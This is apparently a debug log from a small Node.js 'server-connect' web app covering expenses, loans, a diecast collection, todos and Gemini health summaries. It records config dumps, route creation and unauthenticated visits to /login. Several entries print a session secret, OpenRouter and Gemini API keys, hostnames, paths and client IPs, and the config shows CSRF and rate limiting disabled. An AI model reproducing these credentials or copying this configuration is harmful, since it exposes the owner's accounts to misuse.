2026-06-10T13:59:09.681Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T13:59:09.682Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T13:59:09.682Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T13:59:09.682Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T13:59:09.683Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T13:59:09.683Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T13:59:09.684Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T20:08:37.871Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-10T20:08:44.263Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-10T20:08:46.956Z server-connect:setup:upload Upload middleware configured.
2026-06-10T20:08:46.976Z server-connect:secure CSRF Protection initialized
2026-06-10T20:08:47.057Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-10T20:08:47.068Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-10T20:08:47.072Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-10T20:08:47.151Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-10T20:08:47.164Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-10T20:08:47.171Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-10T20:08:47.190Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-10T20:08:47.217Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-10T20:08:47.227Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-10T20:08:47.233Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-10T20:08:47.252Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-10T20:08:47.268Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-10T20:08:47.285Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-10T20:08:47.299Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-10T20:08:47.322Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-10T20:08:47.425Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-10T20:08:47.430Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-10T20:08:47.448Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-10T20:08:47.457Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-10T20:08:47.464Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-10T20:08:47.472Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-10T20:08:47.504Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-10T20:08:47.509Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-10T20:08:47.519Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-10T20:08:47.538Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-10T20:08:47.557Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-10T20:08:47.562Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-10T20:08:47.569Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-10T20:08:47.597Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-10T20:08:47.606Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-10T20:08:47.614Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-10T20:08:47.619Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-10T20:08:47.629Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-10T20:08:47.635Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-10T20:08:47.648Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-10T20:08:47.656Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-10T20:08:47.684Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-10T20:08:47.698Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-10T20:08:48.976Z server-connect:router Serving templateView /
2026-06-10T20:08:48.982Z server-connect:router Serving templateView /
2026-06-10T20:08:48.989Z server-connect:router Serving templateView /
2026-06-10T20:08:48.991Z server-connect:router Serving templateView /
2026-06-10T20:08:48.992Z server-connect:app Executing action step identify
2026-06-10T20:08:48.992Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:48.994Z server-connect:auth No login cookie found
2026-06-10T20:08:48.994Z server-connect:output identity: false
2026-06-10T20:08:48.994Z server-connect:app Executing action step restrict
2026-06-10T20:08:48.995Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T20:08:48.998Z server-connect:output restrict: undefined
2026-06-10T20:08:48.999Z server-connect:app Executing action step identify
2026-06-10T20:08:48.999Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:48.999Z server-connect:auth No login cookie found
2026-06-10T20:08:48.999Z server-connect:output identity: false
2026-06-10T20:08:48.999Z server-connect:app Executing action step restrict
2026-06-10T20:08:48.999Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T20:08:49.000Z server-connect:output restrict: undefined
2026-06-10T20:08:49.001Z server-connect:app Executing action step identify
2026-06-10T20:08:49.001Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:49.001Z server-connect:auth No login cookie found
2026-06-10T20:08:49.001Z server-connect:output identity: false
2026-06-10T20:08:49.001Z server-connect:app Executing action step restrict
2026-06-10T20:08:49.001Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T20:08:49.001Z server-connect:output restrict: undefined
2026-06-10T20:08:49.002Z server-connect:app Executing action step identify
2026-06-10T20:08:49.002Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:49.002Z server-connect:auth No login cookie found
2026-06-10T20:08:49.002Z server-connect:output identity: false
2026-06-10T20:08:49.002Z server-connect:app Executing action step restrict
2026-06-10T20:08:49.002Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-10T20:08:49.002Z server-connect:output restrict: undefined
2026-06-10T20:08:49.043Z server-connect:router Serving templateView /login
2026-06-10T20:08:49.044Z server-connect:router Serving templateView /login
2026-06-10T20:08:49.044Z server-connect:app Executing action step identify
2026-06-10T20:08:49.044Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:49.044Z server-connect:auth No login cookie found
2026-06-10T20:08:49.044Z server-connect:output identity: false
2026-06-10T20:08:49.044Z server-connect:router Render template layouts/authentication
2026-06-10T20:08:49.045Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.89.163.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-11T20:08:49.042Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.89.163.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.89.163.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-10T20:08:49.086Z server-connect:app Executing action step identify
2026-06-10T20:08:49.086Z server-connect:app options: { provider: 'security' }
2026-06-10T20:08:49.086Z server-connect:auth No login cookie found
2026-06-10T20:08:49.086Z server-connect:output identity: false
2026-06-10T20:08:49.086Z server-connect:router Render template layouts/authentication
2026-06-10T20:08:49.086Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.89.163.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-11T20:08:49.043Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.89.163.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.89.163.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-11T23:59:27.135Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-11T23:59:29.365Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-11T23:59:30.230Z server-connect:setup:upload Upload middleware configured.
2026-06-11T23:59:30.230Z server-connect:secure CSRF Protection initialized
2026-06-11T23:59:30.233Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-11T23:59:30.235Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-11T23:59:30.236Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-11T23:59:30.239Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-11T23:59:30.247Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-11T23:59:30.248Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-11T23:59:30.262Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-11T23:59:30.275Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-11T23:59:30.279Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-11T23:59:30.281Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-11T23:59:30.283Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-11T23:59:30.286Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-11T23:59:30.294Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-11T23:59:30.303Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-11T23:59:30.307Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-11T23:59:30.377Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-11T23:59:30.379Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-11T23:59:30.384Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-11T23:59:30.389Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-11T23:59:30.392Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-11T23:59:30.395Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-11T23:59:30.402Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-11T23:59:30.405Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-11T23:59:30.411Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-11T23:59:30.411Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-11T23:59:30.417Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-11T23:59:30.417Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-11T23:59:30.420Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-11T23:59:30.427Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-11T23:59:30.427Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-11T23:59:30.430Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-11T23:59:30.432Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-11T23:59:30.435Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-11T23:59:30.438Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-11T23:59:30.444Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-11T23:59:30.447Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-11T23:59:30.450Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-11T23:59:30.459Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T22:01:44.374Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T22:01:45.729Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T22:01:46.582Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-12T22:01:47.447Z server-connect:setup:upload Upload middleware configured.
2026-06-12T22:01:47.448Z server-connect:secure CSRF Protection initialized
2026-06-12T22:01:47.454Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-12T22:01:47.456Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-12T22:01:47.457Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-12T22:01:47.459Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-12T22:01:47.467Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-12T22:01:47.468Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-12T22:01:47.482Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-12T22:01:47.495Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-12T22:01:47.501Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-12T22:01:47.502Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-12T22:01:47.504Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-12T22:01:47.507Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-12T22:01:47.514Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-12T22:01:47.524Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-12T22:01:47.528Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-12T22:01:47.535Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-12T22:01:47.537Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-12T22:01:47.542Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-12T22:01:47.547Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-12T22:01:47.551Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-12T22:01:47.552Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-12T22:01:47.563Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-12T22:01:47.563Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-12T22:01:47.571Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-12T22:01:47.571Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-12T22:01:47.576Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-12T22:01:47.579Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-12T22:01:47.579Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-12T22:01:47.585Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-12T22:01:47.588Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-12T22:01:47.590Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-12T22:01:47.592Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-12T22:01:47.595Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-12T22:01:47.597Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-12T22:01:47.603Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-12T22:01:47.607Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-12T22:01:47.609Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-12T22:01:47.619Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T22:01:48.112Z server-connect:router Serving templateView /
2026-06-12T22:01:48.115Z server-connect:app Executing action step identify
2026-06-12T22:01:48.115Z server-connect:app options: { provider: 'security' }
2026-06-12T22:01:48.117Z server-connect:auth No login cookie found
2026-06-12T22:01:48.117Z server-connect:output identity: false
2026-06-12T22:01:48.117Z server-connect:app Executing action step restrict
2026-06-12T22:01:48.117Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:01:48.121Z server-connect:output restrict: undefined
2026-06-12T22:01:48.486Z server-connect:router Serving templateView /login
2026-06-12T22:01:48.486Z server-connect:app Executing action step identify
2026-06-12T22:01:48.486Z server-connect:app options: { provider: 'security' }
2026-06-12T22:01:48.486Z server-connect:auth No login cookie found
2026-06-12T22:01:48.487Z server-connect:output identity: false
2026-06-12T22:01:48.487Z server-connect:router Render template layouts/authentication
2026-06-12T22:01:48.487Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.137',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T22:01:48.484Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.137',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.137',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T22:01:58.249Z server-connect:router Serving templateView /
2026-06-12T22:01:58.250Z server-connect:app Executing action step identify
2026-06-12T22:01:58.250Z server-connect:app options: { provider: 'security' }
2026-06-12T22:01:58.250Z server-connect:auth No login cookie found
2026-06-12T22:01:58.250Z server-connect:output identity: false
2026-06-12T22:01:58.250Z server-connect:app Executing action step restrict
2026-06-12T22:01:58.250Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:01:58.251Z server-connect:output restrict: undefined
2026-06-12T22:01:58.269Z server-connect:router Serving templateView /
2026-06-12T22:01:58.270Z server-connect:app Executing action step identify
2026-06-12T22:01:58.270Z server-connect:app options: { provider: 'security' }
